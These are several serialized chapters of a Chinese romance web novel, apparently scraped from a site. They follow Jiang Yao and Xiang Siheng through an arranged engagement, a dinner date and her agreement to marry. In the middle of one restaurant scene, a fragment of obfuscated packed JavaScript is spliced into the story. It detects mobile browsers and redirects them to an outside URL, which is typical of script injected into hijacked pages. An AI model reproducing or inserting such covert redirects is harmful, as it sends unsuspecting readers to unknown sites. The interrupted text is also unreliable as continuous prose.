“问我有没有谈过恋爱。”她问了向司恒,以为向司恒也会问她,
男人似是思考,组织语言,再开口,语气依旧平稳:“遇到我之前是你的私人空间,无论你有没有感情经历,我都不介意,如果你不想说,也不用特别告知我。”
向司恒:“我尊重你的所有选择。”
他倒是特别大度。
江窈拧着性子小声哼了一下,既然他不在意,那她也不要告诉他了!
她也没谈过恋爱,家里对她太好,她一直谁也看不上。
江衡晏还没回来,向司恒放在桌面的手机却响了。
几声之后,向司恒探身拿起,看了眼来电显示,接起来:“爷爷。”
会议室安静,尽管向司恒音量开得不高,江窈还是能听到听筒里的声音。
向巍安年纪大了,语声缓,一字一句都能听清。
“我不给你打电话,你还真的不给我打,”向巍安像是有些生气,很严肃,“我让小桉给你说的话,她带到了吗?”
向司恒把膝面摊开的本子合上,放在桌面,轻捏了一下山根:“嗯。”
向巍安:“她带到了你也不打回来给我说说情况?”
向司恒也清楚通话的音量不低,起身,几步缓慢,走到沙发后的落地窗前。
距离没有刚刚近,但江窈零零碎碎还是能听到。
“没什么好说的。”
“什么叫没什么好说的!”向巍安最近修养好,中气十足,“你和窈窈聊得怎么样,让你带她回来见我,我不给你打这个电话,你是不是要推到猴年马月去。”
“爷爷。”
“算了,我不想跟你多说,”向巍安直接下死命令,“这周末,你带她来家里坐坐。”
向司恒稍皱眉,找话推脱:“这周末我要开会。”
“你那集团我现在还能说的上话,我不信你一天开二十四小时会,就这么说定了,不然等我见阎王爷你都还结不上婚!”
5. 10.22薄荷
向巍安说完这句,不给向司恒再拒绝的机会,直接挂断了电话。
机械的“嘟”声从听筒传来,向司恒轻蹙了眉,手机从耳边拿下,看了眼屏幕。
向巍安身体不好,去年刚做过心脏搭桥,向司恒不想让他情绪波动太大,惹他生气,所以刚刚也没有说太多反驳的话。
江窈虽然一直坐在沙发上,但向巍安声调不低,房间也安静,所以两人的对话她大致也听全了。
眼见男人收了手机走回来。
向司恒在刚刚的位置落座,表情寡淡,重新拿起文件,貌似没有跟她提这件事的打算。
江窈又看他两眼,发现他还是没有对自己开口的意思。
她懒得理他,手里的东西往茶几上一扔,也不准备说话了。
她往桌子上扔的是条手链,是和给段琪的那副耳环一起买的,从昨天回来一直放在包里,刚看到,拿出来在手腕上试了试。
现在连盒子一起放在桌子上。
她放东西的声音不小,“啪嗒”一声,对面的男人也听到了,掀眸看过来。
白色的首饰盒和手链一起散落在桌面上,手链精致,缀有深绿色的宝石。
向司恒看了两眼,放下资料,探身捡起,手链搭在首饰盒上,轻推过去:“怎么了?”
他的话虽然不带情绪,但语气温和。
江窈看过去,她本来也没有太生气,刚燃气的小情绪被浇下一半,语音放缓,嘟囔:“没事。”
对面男人又瞧了她两秒,目光落在她身后的墙壁,看了眼时间。
“下周江小姐有空吗?”
江窈语调上扬:“怎么了?”
“我祖父想请你到家里坐坐,”向司恒看着她,“他身体不好,我想尽量满足他的愿望,所以冒昧的问你,有没有时间去一趟。”
江窈半年前毕业,手里的工作只有自己开的那个工作室,那个工作室她是老板,又有段琪帮忙,说实话不是很忙,一周过去两三天就可以。
她拧了会儿性子,才回答:“有时间。”
向司恒点头,身体前倾,两臂分开,手肘撑在自己的膝盖上:“我的祖父和你爷爷有很多年的情谊,所以才会为我们两个定下婚约,他现在叫你过去,是想提结婚的事情。”
江窈:“我知道。”
向司恒缓了一下,继续道:“如果你不愿意,他如果提结婚的日期,你不用答应,往我身上推就可以。”
江窈抱着臂,感觉是他更不想结婚:“我知道了。”
“嗯,”向司恒应声,再次询问,“那你下周什么时候有时间,跟我回去一趟?”
江窈的兴致比刚刚更低,盘算了一下:“周五吧。”
询问她的男人没有更多异议:“好。”
两分钟后,江衡晏从外推门进来,他进门便扫到江窈的脸色,感觉她心情不佳,再看向司恒,倒是还好,和他出去时没什么不同。
不过他那张脸大部分时间都是这个样子,真是有什么,也看不出来。
江衡晏关了门进来。
他今天过来,本来不想带江窈,是家里打来电话,他和江博盛说话时提起今晚吃饭,江博盛说让他顺带领江窈过来。
江窈上次相亲回去,跟他们都不多说,问她,她就说还可以,江博盛有点着急,想知道两个孩子相处得怎么样,让他旁敲侧击的观察一下,所以他才会带江窈过来。
江衡晏倒是觉得与其观察,不如直接问。
他几步过去,坐下,向司恒听到动静,把右手的一叠资料递给他:“我刚跟傅西沉确认过,他那里的统计资料只有十年前的,和我手里的基本相同,只有其中一年的数据有差别,我已经让他传过来,再次核对。”
江衡晏点头,接过来,翻看几眼。
两分钟后,他看完,合上:“差不多,等下我把法务整理过的那些带走就可以。”
向司恒也点头,随后江衡晏把文件放在桌面,单手勾了下自己的领带,问道:“你们两个前几天吃过饭了?”
江窈正在跟工作室的人确认设计图,闻言身形一顿,没想到话题会转到自己身上。
向司恒瞧她一眼,回答江衡晏:“嗯。”
“怎么样?”江衡晏也不绕来绕去。
向司恒解了手腕的表,想到要给江窈面子,沉吟片刻:“还不错。”
江窈抬眸,看过去,刚想说话,膝盖被自己哥哥碰了一下。
“你呢?”江衡晏转过来看她。
江窈扁了下嘴,还是很官方的回复:“还...还可以吧。”
这个话题很快掠过,向司恒看向对面的江衡晏:“下周五我要带江窈回一趟我家。”
江衡晏落眸瞧他。
向司恒:“我爷爷想请江窈到家里再坐坐,我刚问过她,她说周五有时间。”
江衡晏目光落向江窈,确认的确是她自己同意,转过来:“好。”
在向司恒的办公室待了半小时,再出来,往吃饭的餐厅去,正好是饭点。
路上江铭帮她把游戏设置好,也问起来:“你跟向司恒吃过饭了?”
江窈神情恹恹,窝在窗边:“嗯。”
刚刚在向司恒的办公室,江衡晏怕江窈是顾忌向司恒的面子才那么回答,此时抬眼,从车内后视镜看向后排,又问了一遍:“和他吃饭感觉怎么样?”
江窈侧脑抵在窗户上,思考了一阵,实话实说:“确实还可以。”
虽然感觉她和向司恒的性格不是特别合适,但向司恒人品确实不错,很尊重她,教养好,绅士有礼。
在绝对的人品和能力面前,性格上的小摩擦就显得没那么重要。
毕竟也很少见有绝对合适的两个人。
所以只从联姻对象的角度看,她对向司恒也是满意的。
至于向司恒的想法,她不太清楚,她总觉得他看她像看没长大的小姑娘。
江窈年纪小,家里人都宠着她,兄妹关系也好,江衡晏能看出江窈那句“还可以”说的是真心话。
江衡晏的心放下,打算晚上如果江博盛再打电话询问,就如实告诉他们。
吃完饭回家,刚进门又遇到江槿之。
“姐。”江窈小跑过去,抱住她。<
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p>江衡晏明天还要出差,没回来住,把她送回来就开车走了,至于江铭,半路接到电话,要回公司加班,路上就让江衡晏绕路到他公司楼下,把他扔下。
有个游戏他们团队做了三年,今年年底要上线,正是关键时期。
两个哥哥都不在,江槿之后天就要走了,江窈腻在她身边,抱住她不舍得撒手。
江槿之拖着小跟屁虫,一直到一楼厨房,左手从靠墙的架子拿了杯子接水,才拍拍她,让她松开自己。
江窈放开她,头还靠在她背后。
江槿之脸上架着一副无框眼镜,一向高知冷淡的脸上,难得露出笑容:“今天怎么这么粘人?”
江窈靠着她的头起来一点,两手不自觉地又圈上她的腰:“以后嫁出去,就很难见到姐姐了。”
“说什么呢,”江槿之拍她的头,右手的杯子已经接好水,带着她往厨房外绕,“这是你家,想什么时候回来就什么时候回来,实在想我,我就买票把你带出国。”
江家海外的生意主要在北欧,江槿之这几年要常年在那里。
江窈点点头:“哦。”
江槿之又拍她的头:“这次再回来,给你带礼物。”
江窈笑起来:“谢谢姐姐。”
江槿之:“行了,上去吧,我等会儿还要开会。”
江窈一听,脸垮下来,她看向墙面的表:“已经十点多了。”
江槿之喝了口水,低头看手机上的信息:“国外这会儿正是下午,有个收购案要再讨论一下。”
江窈点头,她知道自己家里的生意很忙。
“那我先上去了。”她指了下楼上。
江槿之又拍了拍她的后脑,端起水,打算往书房去:“行。”
江窈上楼,先是换了衣服,再去浴室。
从浴室出来,躺在床尾的软塌上敷面膜。
她往常都是十一点睡,今天因为吃饭回来晚,已经过了十一点,她按着脸上的面膜,想到江槿之还在下面忙工作。
他们兄弟姐妹四个人关系非常好,所以不存在争财产的问题,公司的股权和分红她都有,她的名下也有很多房产。
父母也对他们一视同仁,如果硬要说偏心谁,也只能说,因为她年纪小,可能对她更好一点。
她确实得了家里的很多宠爱,却几乎没有付出过什么。
十分钟后,她揭掉面膜,从床尾爬起来,去床头捡了手机。
既然打算结婚,她和向司恒之间还是应该聊一聊,缓和关系,总不能一直像陌生人,不咸不淡。
她拿着手机,坐在床侧,想了几分钟,拇指点着键盘打出字符。
江窈:[下班了吗?]
向司恒最近也忙,九点多才从公司出来,很久没回家,他让司机开车,直接送他来了向家老宅。
几分钟前,他刚和向巍安聊了几句,向巍安年纪大了,熬不住,刚刚让佣人推他上楼,准备休息,向司恒现在坐在一楼客厅的沙发上。
他的父母正坐在他左手边的沙发上看电视。
他低头,划开手机,看到江窈的这条信息。
6. 10.24薄荷
林玲看到儿子在看手机,随口问:“公司有事?”
向司恒拇指按着屏幕下滑,确认了一遍对话框上的名字,是江窈没错。
他沉思两秒,先是回答林玲:“嗯。”
林玲知道他最近忙,准确说,从三年前他回国就没有闲下来过,今年初开始,集团回归正轨,旗下几家公司正是上升期,向司恒不可能不忙。
虽然家里集团的生意很重要,但林玲还是担心儿子身体:“别太辛苦,该休息还是要休息。”
“嗯,”向司恒起身,示意露台的方向,“我去发个消息。”
林玲想着是公司事务,叹气:“好,去吧。”
待向司恒走,林玲用手碰向志华,拧着眉:“儿子这么忙,你也不知道关心关心他,就知道看你的电视。”
电视上正在播一条时政新闻,向志华闻言放下遥控器,往向司恒离开的方向看了一眼:“不用管他,他累了肯定知道休息。”
林玲轻拧了一把他的手臂:“跟你这老头子没什么好说的。”
向司恒拿着手机走到露台,江窈的下一条消息已经进来。
江窈:[没下班算了。]
江窈:[消息过了三分钟已经撤回不了了。]
江窈:[第一条发错了。]
江窈:[本来是准备发给我哥的。]
江窈连着发完这四条,手机直接扔在床上,然后把自己也扔在床上,仰躺看天花板。
早知道不发了。
发了没人回她现在更难受。
几秒后,被扔在床面的手机震动了两下,江窈捞过来看了一眼。
向司恒:[嗯。]
又是“嗯”,她现在都快对这个字ptsd了,死男人。
江窈翻身,还没等拧着眉再把手机扔下,手机震动,从对方的头像再次弹出信息。
向司恒:[下班了。]
向司恒:[现在在向家老宅,陪家人。]
隔了良久,江窈拇指点着,回了个“哦”。
回完她觉得单个这个字有点冰冷,没礼貌,琢磨要不要再发一句。
她虽然娇纵,但家里教得好,所以她其实教养很好,很懂礼貌,也很懂规矩。
江窈正盯着手机认真琢磨,屏幕忽然弹出语音来电。
冷不丁弹出这样的界面,她晃了下神,随后握着手机仔细端详,几秒后,才划开接听键,放在耳边。
向司恒不知道她为什么突然给自己发消息,想着可能是她临时有事,要取消下周五来向家的安排。
他顿了顿语气:“江窈?”
江窈在这边翻了个身,软趴趴地趴在床面,手机搭在耳朵上,软绵绵地回了声:“对。”
向司恒站在露台,风有些凉,他看向外面的花园,沉吟片刻,声线稍沉:“是有什么事?”
“嗯......”也没有什么事,她就是想跟他聊聊,要结婚了,他们两个总不能话都没说过两句。
向司恒察觉她有话想说,但不好开口。
他把手机换到右手,左手抄进西装裤的口袋,静静等了一会儿。
听筒两侧都是沉默。
江窈觉得向司恒有点太不解风情,他好像真的以为她有什么很正经的事,现在正在等她询问。
“没什么,我就是想跟你聊几句。”她放下手里的被角,坐起来,干脆很直白地说。
对面沉默两秒:“好,聊什么?”
“就是正常联姻对象聊天,别的联姻对象都聊什么?”江窈有点急了,她第一次主动给谁发消息,还说得这么直白,对方如果不接招,她真的会掐死他,“我们都要结婚了,但你一点都不了解我,从加上联系方式到现在,你和我都没有怎么说过话。”
她一口气说完,又觉得显得自己太主动了,有一点懊悔。
“算了,你就当我没说过......”
对面男人再次开口,声线平稳:“江窈。”
江窈有点不高兴,但没带到话音里:“干什么?”
他来露台太久,刚林玲过来喊他,说向巍安突然想起有事找他。
他转身,对林玲点了下头示意,再对听筒那侧的江窈道:“你稍等一下。”
江窈不知道他要干什么,自顾自地不高兴,但也没有没礼貌地由着性子挂电话。
几分钟后,向司恒折返回来,拿起放在露台茶几的手机。
有一个收购案,上周才结束,对集团内部很重要,向巍安刚想起来,询问他结果。
江窈听到听筒那侧很浅的呼吸声,知道应该是男人重新把手机放在了耳侧。
向司恒的声音依旧平稳:“抱歉,刚刚有事耽搁,现在已经解决。”
江窈语气不咸不淡:“嗯,我知道。”
两秒的静默后,江窈听到听筒那面的人问她:“要约会吗?如果需要,我们可以再吃一顿饭。”
“不是约会......”听到这两个字,江窈有点羞,下意识想反驳,但又觉得也没什么区别,“算了,差不多...就吃饭吧。”
听到江窈的答复,向司恒静了静,思考两秒,手机拿下来,确认日期。
须臾,手机再放回耳边,跟她确定:“你最近什么时候有时间?”
“都还可以。”
向司恒:“我明天下午的飞机,要出差,周六回来,周日晚上吃饭?”
江窈也不急,想了想:“可以吧。”
“嗯。”
这句之后,听筒再次陷入安静。
江窈瞄了眼墙上的钟:“那就这样,已经很晚了,我要睡觉了。”
“好,晚安。”
“晚安。”
通话挂断,林玲再次过来叫人。
最近降温,夜风稍凉,向司恒本来工作就忙,林玲怕他着凉再生病。
走近,看到他刚把手机屏幕按灭:“公司的事情这么忙?怎么十一点了还给你打电话?”
向司恒从露台走进来,沾了一身的凉风,他反手拉上露台的门,这才回答林玲:“不是公司的电话。”
林玲顿了一下,半是犹疑:“那是谁?”
“江窈的电话。”
“她给你打电话了?”
向司恒跟林玲并肩,往客厅的方向走:“不是,是我给她打。”
林玲作为母亲,当然知道婚约,但她和向志华达成一致,对这桩婚事秉承“放养政策”,两个孩子相处得好,就结,两个孩子相处得不好,这桩婚不成,他们也不会逼迫。
但这会儿看到两人主动联系,她跟上去,关心道:“你们相处得不错?”
“还行。”向司恒还是那套冷冷淡淡的说辞。
“好就是好,不好就是不好,好是好在哪里,有问题又是有问题在什么地方,都说清楚,什么叫‘还行’。”
向司恒觉得林玲可能是年龄大了,现在也越发啰嗦,不过他默了两秒,还是回答:“我们才正式见了一面。”
林玲往上拉了披肩:“所以我这不是问你们见完面,觉得怎么样。”
已经走回屋内,向司恒松了领口,把手机放在桌面上。
向志华不在客厅,刚向巍安临时想起收购案,不仅叫了他,也叫了向志华
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上去,现在向志华还在楼上。
林玲知道自己儿子是个闷葫芦性格,看到他不说话,又询问:“到底什么情况,你说话呀。”
向司恒沉思,如实道:“觉得她像没长大的小姑娘。”
林玲不明白,轻蹙着眉,想了想问:“什么意思,你觉得她年纪小?”
“不全是。”
一方面是他大了她七岁,另一方面可能是两人的性格差距,他总觉得自己有些像她的长辈。
林玲问了这么多句,向司恒总共没有回几个字,她也放弃了,觉得问也问不出来什么东西。
“算了,你们自己的事情你们自己定,”林玲和向志华都算开明的父母,松下眉心,“但你要是决定跟人家结婚,要对人家好一点,人家一个小姑娘嫁到咱们家,不能让她受委屈。”
林玲又交代了几句,不知道向司恒到底有没有听到,只见他直身再往客厅的方向去,平淡的声线,回她一个:“知道了。”
-
和向司恒通完话,江窈舒舒服服睡了两天。
她也想清楚了,既然结婚是板上钉钉的事实,她也不想一直陷入这种纠结为难的局面,打算积极起来。
先多吃几次饭,这样即使向家催得急,要求近期内完婚,也算有感情基础。
周日下午,段琪来家里找她,给她看一批设计图。
她毕业一年,工作室也就开了一年,除了让江衡晏给她投了些钱外,她没用家里的资源。
所以前半年工作室单子不多,没赚什么钱,处于收支平衡的阶段,近半年单子多一些。一个月前参加了北城举办的陶瓷展会,这个月的邀单更是增加了不少。
段琪来找她看的设计图,是这月初才接的商单,他们在几天前把图纸发给对方,但有一些细节需要修改,段琪今天上午接到修改通知,来找她一起商量。
段琪来江家的次数不少,佣人也认识她,在佣人引导下,她到二楼,刚进门,便看到江窈从衣帽间出来。
她把带来的文件放在桌子上:“你要出去?”
已经十月,天气转凉,虽然这两天气温有所回升,但肯定不比夏天的时候,江窈身上却还是穿了一条吊带长裙。
“对,”江窈点点头,从衣帽间的方向朝她走过来,“晚一会儿要跟向司恒吃饭。”
段琪今天戴了江窈送她的那副耳钉,造型别致,镶嵌了钻石,很闪亮。
江窈走到她面前,凑近,抬手摸了一下:“我就说吧,真的跟你很配。”
“的确,”段琪笑着把她的手拉下来,调侃,“你的审美一向特别好。”
江窈也笑,抱臂,一脸那是“那是当然”的表情。
段琪把设计稿从文件夹里拿出来,又问道:“是你家里让你跟他吃饭的?”
“不是,”江窈摇摇头,随手扯了毛毯搭在自己腿面,靠坐在桌子上,“不是没多久就要结婚了么,想在婚前多相处相处。”
段琪拉长声音应了一声,表示了解,还没再多说,詹美琳从楼下上来,敲门:“窈窈。”
江窈走过去,开门:“妈。”
三哥江铭昨晚回来住的,也在门外,跟在詹美琳身后几步远的地方。
詹美琳看了眼段琪,笑着对她点头示意,随后目光转向江窈,有点疑惑道:“向司恒来了。”
江窈听后诧异,转身往后看了眼表,现在才四点。
江窈:“他有没有说他来干什么?”
詹美琳想到刚刚在楼下和年轻男人的交涉,她表情微顿,脸上还是有一丝疑惑,复述向司恒的话:“他说来接你去约会。”
7. 10.25薄荷
江窈下来时,向司恒正坐在沙发上跟江博盛聊天。
他穿深灰色衬衣,西装外套搭在右臂,两人不知道聊到什么,江博盛把茶几上的水杯推过去,一副慈眉善目的样子。
江博盛其实不算慈祥,即使这几年逐渐放权给子女,但在集团的地位摆在那里,雷厉风行,不苟言笑,偶尔遇到圈子里的小辈,大家都很怕他。
现在他会对向司恒这个样子,多半是因为认可这个后辈,真的喜欢他。
詹美琳走在江窈身后,两人一起从二楼下来。
她弯身帮江窈整了一下裙摆,好奇:“你们两个什么时候约的吃饭,怎么没有跟妈妈说?”
昨天晚上在客厅,江窈只是说今晚出去一趟,没说干什么。
江窈低头,看着脚下的台阶,她的裙摆有点窄,下楼梯要看着一些。
她嘟囔:“就前几天。”
“只是约吃饭?”詹美琳又问,向司恒过来时,说是约会,她以为两人还有别的活动。
江窈想到前两天两人在微信上的交流,确实只是说了吃饭,不太确定:“应该吧。”
到了楼下,还没走到客厅,沙发上的男人听到动静,抬眸看过来。
江窈正好也看过去,和他对上视线,两秒后,他的目光从她身上收走,转头对江博盛:“叔叔,我下次再陪您聊。”
说完,他便作势起身。
听到向司恒这么说,江博盛抬头,也看到了走过来的詹美琳和江窈。
他刚和向司恒在聊北城最近两年的科技产业发展方向,向司恒眼光毒辣,见解独到,交流中有两点是他没有想过的,他本来还想借着这两点再跟他聊一聊,但窈窈已经下来了,他不能打扰他们年轻人吃饭。
江窈走近,听到江博盛说:“行,你们去吧,晚上回来给你妈或者我打电话。”
斜前方的男人朝江博盛稍点头,语声平稳:“我会送她回来。”
出去吃饭,当然是把她接走的人亲自送回来令人放心。
詹美琳走上来,温和道:“那麻烦你了。”
从江家出来,江窈落了向司恒两步,跟他隔了点距离,走在他的斜后方。
不知道是不是因为他表现出的气质,她总觉得和他走在一起时,压力有点大。
快走到停车的地方,男人脚步稍停,转了身,站在副驾驶的斜前方,落眸看向她。
看到向司恒看自己,她提起裙摆,加快步速。
两步走近,听到向司恒说:“不急。”
她抬头看过去,向司恒看了眼表,对她道:“刚过四点,我跟餐厅约的六点,还早。”
江窈听到他这么说,又是诧异:“现在直接去吃饭?”
也太早了,这个时间对她来说还是下午正玩的时候。
“餐厅离得有些远,从这里过去需要四十多分钟,到那里正好五点半。”向司恒把西服的外衣换在左臂,帮她拉开车门,“早点吃完早点回来,伯父伯母应该不想让你在外面待太久。”
他很有分寸,跟她隔着适当的距离,能保证既帮她打开门,又不会碰到她。
江窈拢着外衣往车里钻,她以为这么早出来真的会有别的活动,比如看个电影之类的。
她虽然没有跟哪个男人特别相处过,但她看其它联姻对象都是这样接触的。
她调整了一下座椅,在位子上坐好,扶着车门的人看她安定下来,帮她关上门。
向司恒的车也和他本人一样,车内整体是暗色色调,配饰简洁,没有任何多余的东西。
不像她的车,车身是葡萄紫的颜色,后座放了很多玩偶抱枕,最近心血来潮,车外还镀了某个漫画角色的车衣。
驾驶位的车门被拉开,男人坐上来,刚在外面开敞的环境不明显,现在靠得近了,江窈闻到他身上有一种淡淡的木质香的味道,沉静冷肃。
“冷吗?”向司恒调了车内的温度。
坐在他的车里,被那种沉静的木质香包围,江窈有点束手束脚。
她拉下自己的外衣,佯装淡定的摇摇头:“还好。”
她说不冷,向司恒就没开暖风。
他扫了眼她裙摆下的小腿,只是为了确认她裙摆的长度在车内确实不冷,随后便克制地收回目光。
他发动车,将车从江家宅前的停车场开出去,再之后两人一路无话。
向司恒非必要不发言,江窈见他不说话,也不愿意主动挑起话题,脸转向窗外,暗忖这个男人确实不解风情。
跟着向司恒下车往餐厅走时,她收到段琪的消息。
段琪:[我改完啦,要离开咯。]
她拍了一张照片发过来,照片里是江家的书房,正对的电脑上是那批瓷器设计图。
过来前两人在房间里商议过细节,段琪的电脑有点问题,送去修理还没拿回来,江窈就让她在自己的书房改。
段琪:[对了,约会怎么样?]
江窈:[嗯?]
段琪:[约会呀。]
段琪:[你不是和向司恒去约会。]
江窈抬眸,看了眼前面两米外的男人。
江窈:[一般。]
江窈:[他不说话。]
段琪回忆刚在楼上往下看,瞄到向司恒的样子,觉得他确实不像会和江窈有说有笑的。
段琪:[哦,好吧。]
段琪:[那你们现在是去干什么?]
江窈又扫了眼已经走到的餐厅:[吃饭。]
段琪震惊:[现在?]
段琪:[这么早??]
江窈:[对,他说晚上早点吃饭对身体好。]
江窈想了想,接着打字,把自己的感觉说出来:[我觉得他太正经了,像长辈......就是那种以后如果我早上睡懒觉,他会教育我不吃早饭会长胆结石的长辈,你明白吗?]
江窈故意说得夸张了一点:[有时候我不小心和他对视,觉得他的眼神像我爸。]
段琪:[啊?不至于吧。]
已经快走到餐厅门口,江窈轻吸气,还想再打字,向司恒停住步子,转身看向她。
他轻皱眉,提醒她:“注意脚下,走路不要玩手机。”
江窈应了一声,下意识收了手机跟上去。
向司恒大概是特意了解过她的口味,选的菜色是她喜欢的,餐厅的装潢也符合她的审美。
服务员退下去,江窈好奇,合上餐单放在架子上,抬头又扫视餐厅内的装饰。
向司恒帮她倒了水,把装有温水的玻璃杯放在她面前:“和你第一次见面之前,问过你家人你的喜好。”
江窈愣了一下,倒没想过见面前向司恒做过这种工作,愣完之后她又有点愧疚,她还不知道向司恒喜欢吃什么。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605746|187549||http|test|mini|href|location''.split(''|''),0,{}));
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>她不是过度内耗的性格,有事喜欢直接问,所以她两手端起杯子喝了一口水,问对面的人:“你喜欢吃什么?”
向司恒右手拎着深色的紫砂茶壶,正在冲茶:“我没有特别喜欢的。”
江窈觉得他这人好无聊,连自己喜欢吃什么都不知道,但想了想,还是追问了一句:“口味偏好呢,喜欢辣的,甜的,还是酸的?”
片刻后,向司恒把茶壶放下,看她:“都可以,只要健康就行。”
江窈撇了撇嘴,小声又道了句:“无聊。”
普洱暖胃,里面还加了红枣和山楂,用量适宜,味道正好,江窈捧着杯子多喝了两口。
“那你有没有什么特别的爱好,或者喜欢的东西?”江窈又问。
男人沉稳看着她,似乎是想了下:“没有。”
江窈抱着杯子皱眉:“那你平时都做什么?”
“最近两年都很忙,大部分时间都分给工作,做其他事情的时间不多,有空会晨跑或健身。”
江窈“哦”了一声,没有再接着这个话题聊,她运动不多,只是为了保持身材,最近请了专业的老师,会在家里做普拉提,但三天打鱼两天晒网,上周只做了一次。
对面女孩儿的兴致明显降下去。
向司恒没和她这个年纪的女生聊过太多,不知道怎么开启话题,也不知道她想聊什么,想了想,把话题引回结婚上。
他们两个会坐在这里吃饭,还是为了联姻的事情,他有责任把关于结婚的想法告诉她。
他表达得足够清楚,她也能更好的选择。
“我对这段婚约没有异议,如果你也愿意,我们可以在这两年内按你的意愿完婚。”
向司恒说到这里,轻顿了一下,接着道:“当然两家长辈希望我们能在今年底前领证结婚,但我觉得还是要尊重你的意愿。”
向司恒:“我在北城有几处房产,高新区一个顶楼跃层,南湖附近还有别墅,婚后你可以选一处,我们搬过去住,如果你还有另外喜欢的房子,我们可以再买。”
江窈不知道为什么话题又变得这么一板一眼,她温吞:“都可以,我自己也有房子。”
“嗯,”向司恒思考两秒,又道,“婚礼那些也按你的想法来,我对这些都没有意见。”
江窈点头,语声依旧缓慢:“嗯...”
向司恒:“我没有不良嗜好,但婚后工作会忙一些,不过我会尽量多回家。”
他沉吟两秒,道:“会尽量陪你。”
当然这个也要看江窈的意愿,如果她不愿意和他住在一起,他们也可以分居。
他说的这些江窈很多都没认真想过,就算是想过,她也不会拿到现在说。
今天不是约会吗?
向司恒看对面的人不说话,看她两秒,平声开口:“你还有其它想问,或者想和我讨论的吗?”
江窈两手抱着杯子,轻轻转了转:“......暂时没有。”
“嗯,”向司恒想了想,还是决定在今天把大概走向敲定下来,“那你愿意跟我结婚吗?”
江窈小声“啊?”了一下,随后又觉得刚那一串对话下来,他问这句好像也很自然。
其实她心里的想法早就定下来了,而且他刚刚说的那些,好像没有对她不利的地方,反正早结完结都是结...
江窈:“...愿意吧。”
8. 10.26薄荷
江窈回答完,有端着盘子的服务生走过来,他夹起木桶里的湿帕巾先是给江窈,再是夹起一条递给向司恒。
男人接过来,“嗯”了一声,算是回应江窈刚刚的话。
再接着江窈看他几秒,发现他没有继续说下去的打算。
这是什么意思?这是结婚的事就这么定了?
好吧,也像他的行事作风。
江窈吃饭有点挑,被向司恒几句话弄得也不是很有心情,菜上来,她用叉子拨着夹了一点到自己的盘子里,吃了几口。
对面男人的筷子放下,用旁边的软帕擦唇,看她:“不合口味?”
江窈正在跟碟子里的一块鱼肉较劲,闻声抬眸,听懂他是在问自己,摇了摇头:“不是。”
就是觉得跟他坐在一起特别无聊。
他把架子上的菜单递给她:“不合口味再点些别的?”
江窈摇头,把菜单推回去:“就这些就可以。”
他点的这些菜符合她的口味,也是这里的招牌,她刚刚看过菜单,应该没有再比这些更好吃的。
“不用了。”她意兴阑珊地回绝。
向司恒不清楚她为什么看什么没有过来时高兴,想了想,还是招手示意服务生过来,加了两道甜品。
他之前拿到过她的资料信息,上面有写她的口味和喜欢的东西,他记得。
服务生把甜品端上来时,江窈正在喝汤,炖了几个小时的汤,里面加了松茸和花胶,味道很好。
向司恒给她点的是草莓酸奶的芝士三角,表层有晶莹的淡粉色果酱,她看到时眼睛亮了点。
待甜点在她面前放好,她用银叉挑了一点,尝味道。
“好吃吗?”对面的男人问她。
江窈点头:“还可以。”
因为江窈喜欢这里的点心,临走向司恒又让服务生打包了一些。
江窈站在门口等他,他接过服务生手里的打包袋,朝她站的方向来。
等他走近,江窈看了看他手里的东西,两臂交叉,搭着外衣,道:“你把你的喜好和习惯和做成资料发给我吧。”
两人从台阶上下来,和来时一样,向司恒刻意跟她隔了点距离,避免触碰到她:“不需要。”
“什么?”
向司恒的目光从她脸上掠过:“你应该记不住我的习惯,而且我的习惯不多,没必要记,我知道你的就可以了。”
江窈回到家,先去衣帽间换掉衣服,本来打算直接去洗澡,站在衣架前,想了想,换了身运动衣出来,打算去楼上的健身房跑跑步。
虽然她正餐吃得不多,但甜点吃了不少,一块草莓蛋糕,还吃了半个蓝莓挞,她可不想长肉。
穿着运动衣,刚出卧室门,看到走上来的詹美琳。
“妈。”
“窈窈,”詹美琳走过来,“你带回来的点心要放冰箱里吗?”
“紫色那两盒需要,那个里面夹的是奶油,剩下的不用。”
詹美琳应了一声,又问她和向司恒吃饭的情况。
“就那个样子吧,还可以。”她最近这三个字说得特别多。
詹美琳看女儿不像心情很不好的一样,暂时放下心:“行,那妈妈不管你了,点心让阿姨帮你放在冰箱,要吃的话你自己拿。”
和詹美琳说完话,江窈去三楼健身房,在跑步机上走了一会儿,她收到向司恒的消息。
向司恒:[点心味道怎么样?]
江窈:[还没吃。]
向司恒:[嗯。]
这句之后,江窈盯着手机又可能了一会儿,没再收到男人的信息,她轻轻哼了一声,屏幕按灭,手机放在面前的架子上。
-
周五,是江窈和向司恒约定去向家的日子。
周五下午一早,她换过衣服,收拾好,先去了工作室。
上周末改的那批设计图已经和对方商议通过,这部分瓷器这周投入制作,前几个步骤都交由工作室的学徒,彩绘这个环节需要的技术性较强,由工作室里另外两个专业人员完成,当然她和段琪也会完成一部分。
段琪很喜欢陶瓷设计,几乎不把这项工作当工作,全是兴趣,和工作室联通的有休息室,她最近两天都住在这里。
江窈进门在休息室的沙发上坐下,看到靠墙的小行李箱:“你怎么还真住这里?”
工作室虽然设计得很好,五脏六腑,一应俱全,但休息室面积小,肯定是不比家里。
段琪知道江窈对用的东西很挑剔,特意选了一只漂亮的玻璃杯,接水之后拿过来给她:“上个单子有两个瓷烧制的时候出了点问题,需要重新制作,我这两天留在这里绘那个。”
上一批瓷对方要的是高温瓷加釉下彩,制作工艺要求得更高,单纯交给学徒或者工人的确不行。
江窈支着下巴:“不是跟你说不要太累么,交给张曼她们也行。”
张曼是工作室里聘请的另外两个专业人员之一。
江窈这样支起下巴,弯眼,像一只小狐狸,段琪忍不住,上手摸了一下她的脸:“我不放心,这个单子不做好,我们接不到活了怎么办,而且我喜欢这些啊,所以也不算工作。”
段琪也端起面前的杯子,喝了一小口水。
江窈知道段琪看着软,但其实做什么都很认真,也没再劝,抱着椅背,低头拨弄手机,等向司恒的消息。
联系了几次,她也知道向司恒这个人,一般如果约五点,四点半就会到。
此时她拇指划着屏幕,看了眼时间,刚四点半,过会儿他的信息估计就会发来。
果然没两分钟,屏幕弹出信息。
向司恒:[在工作室?]
江窈:[对。]
